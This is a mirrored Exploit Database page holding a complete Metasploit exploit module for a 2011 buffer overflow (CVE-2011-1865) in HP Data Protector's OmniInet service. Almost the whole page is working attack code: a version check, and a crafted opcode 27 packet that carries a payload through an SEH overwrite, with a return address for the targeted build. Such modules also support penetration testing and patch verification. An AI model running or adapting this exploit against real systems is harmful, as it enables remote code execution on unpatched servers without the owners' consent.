HP – ‘OmniInet.exe’ Opcode 27 Buffer Overflow (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Metasploit
  日期： 2011-07-01
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17467/

• ##
  # $Id: hp_omniinet_3.rb 13081 2011-07-01 22:26:12Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'HP OmniInet.exe Opcode 27 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits abuffer overflow in the Hewlett-Packard
  				OmniInet NT Service. By sending a specially crafted opcode 27 packet,
  				a remote attacker may be able to execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 13081 $',
  			'References' =>
  				[
  					[ 'CVE', '2011-1865' ],
  					[ 'URL', 'http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Payload' =>
  				{
  					'Space'=> 800,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'HP Data Protector A.06.10 Build 611 / A.06.11 Build 243',
  						{
  							#POP/POP/RET from OmniBack\bin\MSVCR71.dll
  							'Ret' => 0x7c35630d
  						}
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jun 29 2011'))
  
  		register_options([Opt::RPORT(5555)], self.class)
  	end
  
  	def check
  
  		connect
  		sock.put(rand_text_alpha_upper(64))
  		resp = sock.get_once(-1,5)
  		disconnect
  
  		if (resp)
  			resp = resp.unpack('v*').pack('C*')
  			print_status("Received response: " + resp)
  
  			# extract version
  			if (resp =~ /HP Data Protector/)
  				version = resp.split[3]
  			elsif (resp =~ /HP OpenView Storage Data Protector/)
  				version = resp.split[5]
  			elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
  				version = resp.split[5]
  			else
  				return Exploit::CheckCode::Detected
  			end
  
  			version = version.split('.')
  			major = version[1].to_i
  			minor = version[2].to_i
  			if ((major < 6) or (major == 6 and minor < 11))
  				return Exploit::CheckCode::Vulnerable
  			end
  
  			if ((major > 6) or (major == 6 and minor >= 11))
  				return Exploit::CheckCode::Safe
  			end
  
  		end
  		return Exploit::CheckCode::Safe
  
  	end
  
  	def exploit
  
  		connect
  
  		trigger = rand_text_alpha_upper(10000)
  		trigger[4552, payload.encoded.length] = payload.encoded
  		trigger[5352, 8] = generate_seh_record(target.ret) 
  		trigger[5360, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-788").encode_string
  
  		opcode = "27"
  
  		packet = Rex::Text.to_unicode("\x00")
  		packet << "\x27\xca" #length
  		packet << "\xff\xfe\x32"
  		packet << "\x00\x00\x00"
  		packet << Rex::Text.to_unicode("\x20\x61\x00") * 3
  		packet << Rex::Text.to_unicode("\x20")
  		packet << trigger
  		packet << Rex::Text.to_unicode("\x00")
  		packet << Rex::Text.to_unicode("\x20\x61\x00")
  		packet << Rex::Text.to_unicode("\x20" + opcode + "\x00")
  		packet << Rex::Text.to_unicode("\x20\x61\x00") * 24 
  
  		print_status("Trying #{target.name}...")
  		sock.put(packet)
  		
  		select(nil,nil,nil,10)
  		handler
  		disconnect
  
  	end
  
  end